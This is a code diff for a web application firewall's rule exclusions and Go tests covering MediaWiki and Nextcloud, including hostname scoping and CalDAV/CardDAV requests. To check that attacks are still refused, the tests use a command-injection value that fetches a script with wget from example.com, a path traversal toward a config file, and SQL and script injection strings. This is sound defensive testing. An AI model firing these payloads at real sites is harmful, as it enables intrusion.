// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5 const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to. // mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit" const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -46,13 +50,50 @@ const (
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt") wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
}
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
} }
// mediawikiQueryFields and mediawikiBodyFields together hold every field that // mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles, // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends // the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
// each in the query, on a path where it skips them, ending in "=". // path where it skips them, ending in "=".
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{ var mediawikiQueryFields = []string{
@@ -137,9 +178,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
type mediawikiBodyField struct{ target, field string } type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that // mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles, // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends // the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
// each in a form data body, on a path where it skips them. // a path where it skips them.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{ var mediawikiBodyFields = []mediawikiBodyField{
@@ -147,11 +188,13 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiUpload, "wpUploadDescription="}, {mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="}, {mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="}, {mediawikiSignIn, "wpName="},
{mediawikiSignIn, "wpPassword="},
{mediawikiMove, "wpOldTitle="}, {mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="}, {mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="}, {mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="}, {mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="}, {mediawikiSignInPage, "wpName="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiUploadPage, "wpDestFile="}, {mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="}, {"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="}, {mediawikiAPI, "title="},
@@ -164,18 +207,8 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiAPI, "reason="}, {mediawikiAPI, "reason="},
{mediawikiAPI, "user="}, {mediawikiAPI, "user="},
{mediawikiAPI, "lgname="}, {mediawikiAPI, "lgname="},
{mediawikiAPI, "username="},
}
// mediawikiPasswordFields are the passwords, which skip the four rules and the
// rules that random passwords set off. mediawikiPasswordFields sends each in a
// form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiPasswordFields = []mediawikiBodyField{
{mediawikiSignIn, "wpPassword="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiAPI, "lgpassword="}, {mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="},
{mediawikiAPI, passwordField}, {mediawikiAPI, passwordField},
} }
@@ -242,23 +275,6 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
} }
} }
func TestMediaWikiPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mediawikiPasswordFields {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the // mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value. // fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -279,8 +295,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs = readingBodies(t) crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields, for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
mediawikiPasswordFields) {
r := request{http.MethodPost, sent.target, []string{formData}} r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -338,8 +353,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
} }
} }
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields, fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
mediawikiPasswordFields) mediawikiWikitextFields...)
for _, sent := range fields { for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}} r := request{http.MethodPost, sent.target, []string{formData}}
+70 -41
View File
@@ -1,4 +1,4 @@
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that # Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud # refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or # sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it # a document's text. Each exclusion runs with the request, before the rules it
@@ -29,6 +29,13 @@
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there. # injection, path traversal and script injection are still refused there.
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_nextcloud when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those # The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each: # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -61,46 +68,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The password, in the body, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900119,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:password "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
ctl:ruleRemoveTargetById=920540;ARGS:password,\
ctl:ruleRemoveTargetById=921200;ARGS:password,\
ctl:ruleRemoveTargetById=930100;ARGS:password,\
ctl:ruleRemoveTargetById=930110;ARGS:password,\
ctl:ruleRemoveTargetById=930120;ARGS:password,\
ctl:ruleRemoveTargetById=932125;ARGS:password,\
ctl:ruleRemoveTargetById=932130;ARGS:password,\
ctl:ruleRemoveTargetById=932160;ARGS:password,\
ctl:ruleRemoveTargetById=932230;ARGS:password,\
ctl:ruleRemoveTargetById=932250;ARGS:password,\
ctl:ruleRemoveTargetById=932260;ARGS:password,\
ctl:ruleRemoveTargetById=932270;ARGS:password,\
ctl:ruleRemoveTargetById=932280;ARGS:password,\
ctl:ruleRemoveTargetById=932330;ARGS:password,\
ctl:ruleRemoveTargetById=932340;ARGS:password,\
ctl:ruleRemoveTargetById=932370;ARGS:password,\
ctl:ruleRemoveTargetById=932380;ARGS:password,\
ctl:ruleRemoveTargetById=933100;ARGS:password,\
ctl:ruleRemoveTargetById=933135;ARGS:password,\
ctl:ruleRemoveTargetById=933180;ARGS:password,\
ctl:ruleRemoveTargetById=933210;ARGS:password,\
ctl:ruleRemoveTargetById=941100;ARGS:password,\
ctl:ruleRemoveTargetById=941120;ARGS:password,\
ctl:ruleRemoveTargetById=941160;ARGS:password,\
ctl:ruleRemoveTargetById=941180;ARGS:password,\
ctl:ruleRemoveTargetById=942100;ARGS:password,\
ctl:ruleRemoveTargetById=942151;ARGS:password,\
ctl:ruleRemoveTargetById=942190;ARGS:password,\
ctl:ruleRemoveTargetById=942230;ARGS:password,\
ctl:ruleRemoveTargetById=942290;ARGS:password,\
ctl:ruleRemoveTargetById=942320;ARGS:password,\
ctl:ruleRemoveTargetById=942540;ARGS:password,\
ctl:ruleRemoveTargetById=942550;ARGS:password,\
ctl:ruleRemoveTargetById=944150;ARGS:password"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules. # The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\ "id:900103,phase:1,pass,nolog,\
@@ -286,3 +253,65 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \ SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain" "id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW" SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
# with MKCALENDAR, which 911100 refused.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900119,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
# Such a client first asks where the calendars and address books are, with a
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
"id:900120,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
# A new calendar or address book has its name in the XML body of an MKCOL,
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
# MKCOL may also hold its description (900124).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900121,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The XML body of an MKCALENDAR holds the new calendar's name and its
# description. The description is a sentence, and two rules for sentences
# refused it too:
# 932125, 932230: Powershell and python3 meetings; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900122,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# When the Calendar app changes an event, it names the charset twice in the
# Content-Type of the PUT:
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
# The Contacts app does the same with text/vcard when it changes a contact.
# 920530 refused both. The body of such a PUT is not read (900118).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900123,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "chain"
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
"ctl:ruleRemoveById=920530"
# The XML body of a new address book's MKCOL may hold its description. Like a
# calendar's (900122), it is a sentence, and the same two rules refused it:
# 932125, 932230: Powershell and python3 contacts; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
"id:900124,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*"
SecMarker END_NEXTCLOUD
+201 -34
View File
@@ -6,6 +6,7 @@ import (
"maps" "maps"
"net/http" "net/http"
"net/url" "net/url"
"slices"
"strings" "strings"
"testing" "testing"
@@ -15,9 +16,6 @@ import (
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5 const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page.
const nextcloudSignIn = "/login"
// nextcloudShare is a public share's page. // nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO" const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
@@ -50,10 +48,47 @@ const (
// nextcloudOther is a JSON field no exclusion names. // nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}` const nextcloudOther = `{"other":"python3"}`
// nextcloud is Nextcloud's name in SWW_APPS.
const nextcloud = "nextcloud"
func TestOrdinaryNextcloudRequestsPass(t *testing.T) { func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt") wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
}
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
// Making a calendar, as a CalDAV client does.
calendar := request{nextcloudMkcalendar, nextcloudCalendars + "work/", nil}
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
} }
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250 // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
@@ -85,7 +120,8 @@ var nextcloudQueryFields = []string{
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{ var nextcloudFormFields = []struct{ target, field string }{
{nextcloudSignIn, "user="}, {"/login", "user="},
{"/login", passwordField},
{nextcloudUsers, "userid="}, {nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="}, {nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="}, {nextcloudUsers, "groups%5B%5D="},
@@ -128,8 +164,55 @@ var nextcloudBodies = []nextcloudBody{
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` + `<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`, `</d:like></d:where></d:basicsearch></d:searchrequest>`,
}, },
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
} }
// The WebDAV methods that make a calendar or an address book.
const (
nextcloudMkcol = "MKCOL"
nextcloudMkcalendar = "MKCALENDAR"
)
// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
// address books of the account admin.
const (
nextcloudCalendars = "/remote.php/dav/calendars/admin/"
nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
)
// nextcloudNewCollection is the XML body that names a new calendar or address
// book, as an MKCOL sends it.
const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
// calendar.
const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
// the new calendar a description.
const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>Meetings</d:displayname>` +
`<c:calendar-description>%s</c:calendar-description>` +
`</d:prop></d:set></c:mkcalendar>`
// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
// address book a description.
const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
`<displayname>Trainers</displayname>` +
`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
`</prop></set></mkcol>`
// nextcloudDescription is a calendar's description, as recorded.
const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
// nextcloudDocument is the text of a document the text editor saves, which // nextcloudDocument is the text of a document the text editor saves, which
// skips the rules for code blocks too. // skips the rules for code blocks too.
// //
@@ -255,17 +338,6 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
return scores return scores
} }
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
// bodies, gives signing in with value, a query value, as the password.
func nextcloudPasswordScore(t *testing.T, value string) int {
t.Helper()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
return got.Score
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) { func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel() t.Parallel()
@@ -275,23 +347,9 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
} }
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
t.Errorf("password %s refused: %d", value, score)
}
} }
} }
func TestNextcloudPasswordPasses(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
}
func TestNextcloudSentencesPassInTheTexts(t *testing.T) { func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
t.Parallel() t.Parallel()
@@ -340,10 +398,6 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Errorf("%s let through: %d", request, score) t.Errorf("%s let through: %d", request, score)
} }
} }
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
t.Errorf("password %s let through: %d", commandInjection, score)
}
} }
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) { func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
@@ -406,6 +460,119 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
} }
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100)) wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
// MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
}
for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/",
} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
}
// PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
}
other := request{nextcloudPropFind, "/.well-known/other", nil}
wantResult(t, crs, other, matched(911100))
}
func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A new calendar's and a new address book's description, as recorded.
for _, described := range []struct {
sent nextcloudBody
description string
}{
{
nextcloudBody{
nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
nextcloudCalendarDescription,
},
nextcloudDescription,
},
{
nextcloudBody{
nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
nextcloudAddressBookDescription,
},
"Powershell and python3 contacts; ls -la first",
},
} {
sent := described.sent
request, score := nextcloudBodyScore(t, crs, sent, described.description)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
for _, attack := range []string{
sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
request, score := nextcloudBodyScore(t, crs, sent, written)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
// An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore(t, crs, sent, described.description)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// nextcloudChangedEvent is the Content-Type of the PUT with which the
// Calendar app changes an event.
const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
"component=vevent; charset=UTF-8"
func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, changed := range []request{
{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
},
} {
wantResult(t, crs, changed, matched())
}
// Elsewhere, with another method or another type, two charsets are refused.
for _, refused := range []request{
{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudCalendars + "work/1.ics",
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
},
} {
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got)
}
}
} }
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads // nextcloudUploads are a JSON file and an XML file, as the Files app uploads
+45
View File
@@ -2,6 +2,8 @@
# at the defaults. They were recorded from a Nextcloud driven by a headless # at the defaults. They were recorded from a Nextcloud driven by a headless
# Chrome, by its command-line sync client 3.16.7 and by an API client. The API # Chrome, by its command-line sync client 3.16.7 and by an API client. The API
# client's LOCK and UNLOCK send what the desktop client's "Lock file" action # client's LOCK and UNLOCK send what the desktop client's "Lock file" action
# sends. The last lines come from the Calendar app 6.6.5, the Contacts app
# 8.9.5 and an API client sending what the CalDAV and CardDAV client DAVx5
# sends. Each line is one request as JSON. Host names, passwords and session # sends. Each line is one request as JSON. Host names, passwords and session
# cookies are invented, and the bodies of large uploads are shortened. # cookies are invented, and the bodies of large uploads are shortened.
{"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""} {"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""}
@@ -1340,3 +1342,46 @@
{"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"} {"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"}
{"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""} {"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""}
